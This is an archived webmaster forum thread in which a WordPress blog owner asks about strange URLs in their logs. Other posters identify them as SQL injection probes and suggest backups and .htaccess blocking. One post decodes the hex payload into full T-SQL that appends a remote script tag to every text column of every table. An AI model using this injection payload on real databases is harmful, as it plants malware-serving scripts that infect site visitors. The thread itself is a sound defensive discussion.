Weird URLs Used to Access My Site

Is this URL suspicious?

[rioroccoroma]

I was checking my stats today and noticed that quite a number of pages on my site were accessed via the normal URL, but with a load of extra characters on the end. I have pasted one of them here - could someone tell me if this is something to be concerned about. The site in question happens to be a wordpress blog.

http://www.example.com/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040
54207661726368617228323535292C4043207661726368617228343030302920
4445434C415245205461626C655F437572736F7220435552534F5220464F52207
...etc.

[edited by: tedster at 10:06 pm (utc) on Aug. 26, 2008]
[edit reason] switch to example.com; abbreviate hex code [/edit]

[Staffa]

Check out this thread : "New Wave of SQL Injection Vulnerability Probes"

[webmasterworld.com...]

[rioroccoroma]

Staffa - thanks - I read the thread and wasn't sure what I am supposed to do about it. I have since managed to translate the hex code though and it says this :

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www0.example.com/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www0.example.com/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

If I get any further with this, I'll write back here.

[edited by: tedster at 10:04 pm (utc) on Aug. 26, 2008]
[edit reason] use example.com [/edit]

[rioroccoroma]

Apparantly, it targets CMS systems, that get their content from a database. This would fit as mine is a wordpress site. It adds an iframe into the database, so that it will get served up with every page.

I now have to go through every table in the wordpress database to see if any of this stuff has been successfully inserted. It seems pointless though as if this code worked, it would overwrite the contents of all the database tables and therefore render wordpress useless, so nothing would be served up.

At least this is what I think at the moment. Of course I could be completely wrong.

[pageoneresults]

It adds an iframe into the database, so that it will get served up with every page.

It's the payload in the <iframe> that is doing the damage to visitors. Malware, Spyware, etc.

You will most likely need to restore from a db that was not injected. My understanding is that once you've thought you removed it, the bugger comes back because there was another one somewhere else in the db.

Here's another topic that may help...

Sql Injection virus problem.
[webmasterworld.com...]

[rioroccoroma]

Thanks. I will be checking the db sites I have coded myself for vulnerabilities. But - the site I am talking about now is a wordpress site. I am off to find out if wordpress has coded against this eventuality.

[g1smd]

The vulnerability is best thwarted using the example .htaccess code to block it.

See the other thread.

[rioroccoroma]

Thanks but having looked through all threads referred to here, I can't find htaccess recommendation you mention. Oh well.

I can't do much about wordpress, but for my general coding I use CodeIgniter framework now. And as far as I can see, it has good, easy to use tools to help the programmer avoid this type of sql injection attack.

[jdMorgan]

If you're hosted on Apache, try this thread [webmasterworld.com].

Jim

[rioroccoroma]

I am hosted at Apache. Thanks very much for pointing this thread out to me. It is just what I needed.